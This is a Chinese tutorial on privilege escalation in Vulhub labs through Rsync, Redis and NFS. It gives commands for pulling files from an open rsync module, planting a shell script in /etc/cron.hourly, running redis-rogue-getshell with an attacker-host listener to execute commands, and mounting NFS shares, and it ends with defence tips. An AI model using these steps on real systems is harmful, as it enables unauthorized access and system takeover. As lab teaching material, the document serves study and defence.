实战遇见到最多的第三方提权
字数 992 2025-08-26 22:11:56
第三方服务提权实战教学文档
1. Rsync 提权
1.1 Rsync 简介
Rsync是Linux下一款数据备份工具,默认开启873端口,用于文件同步。
1.2 环境搭建
使用Vulhub环境搭建:
git clone https://github.com/vulhub/vulhub.git
cd /path/to/vuln/ # 切换到相应目录下,这里是/vulhub/rsync/common
docker-compose build
docker-compose up -d
1.3 漏洞检测
扫描目标端口:
nmap -p 873 目标IP
1.4 利用步骤
- 列出模块:
rsync rsync://目标IP:873/
- 列出特定模块下的文件(如src模块):
rsync rsync://目标IP:873/src/
- 下载文件(如配置文件):
rsync -av rsync://目标IP:873/src/etc/rsyncd.conf /root/1.conf
参数说明:
-v:打印更多信息-a:归档模式,递归传输并保持文件属性
- 提权利用:
- 写入shell脚本
- 赋予执行权限:
chmod +x shell
- 上传至/etc/cron.hourly目录
- 开启本地监听
1.5 注意事项
- 检查crontab配置文件,确认执行时间(如每小时的第17分钟执行)
- 确保shell脚本正确无误,避免因错误需要重新等待
2. Redis 提权
2.1 Redis 简介
Redis是内存数据库,默认开放6379端口。
2.2 漏洞检测
扫描目标端口:
nmap -p 6379 目标IP
2.3 利用工具
使用redis-rogue-getshell工具:
git clone https://github.com/vulhub/redis-rogue-getshell
cd RedisModulesSDK/exp/
make
cd ../../
python3 redis-master.py -h
python3 redis-master.py -r 目标IP -p 6379 -L 攻击IP -P 8888 -f RedisModulesSDK/exp/exp.so -c "whoami"
2.4 参数说明
-r:目标IP-p:目标端口(默认6379)-L:攻击者IP-P:攻击者监听端口-f:exp.so路径-c:执行的命令
3. NFS 提权
3.1 NFS 简介
NFS(网络文件系统)用于文件共享,默认开放2049端口。
3.2 利用步骤
- 查看主机的文件列表:
showmount -e IP
- 在本地创建空文件夹:
mkdir /temp/
- 将共享文件挂载到本地:
mount -t nfs 192.168.x.xxx:/ /temp -o nolock
- 访问挂载的共享文件:
cd /temp/
4. 总结
4.1 关键点
-
Rsync:
- 默认端口873
- 可列出和下载文件
- 通过cron.hourly实现提权
-
Redis:
- 默认端口6379
- 使用redis-rogue-getshell工具实现RCE
- 适用于Redis 4.x/5.x版本
-
NFS:
- 默认端口2049
- 通过showmount和mount命令访问共享文件
4.2 防御建议
- 对Rsync服务配置认证
- Redis服务设置密码认证
- 限制NFS共享目录的访问权限
- 定期更新服务版本,修复已知漏洞
4.3 参考资源
- Vulhub环境:https://vulhub.org/
- redis-rogue-getshell:https://github.com/vulhub/redis-rogue-getshell
- Redis 4.x/5.x RCE分析:参考WCTF2019 Final分享会内容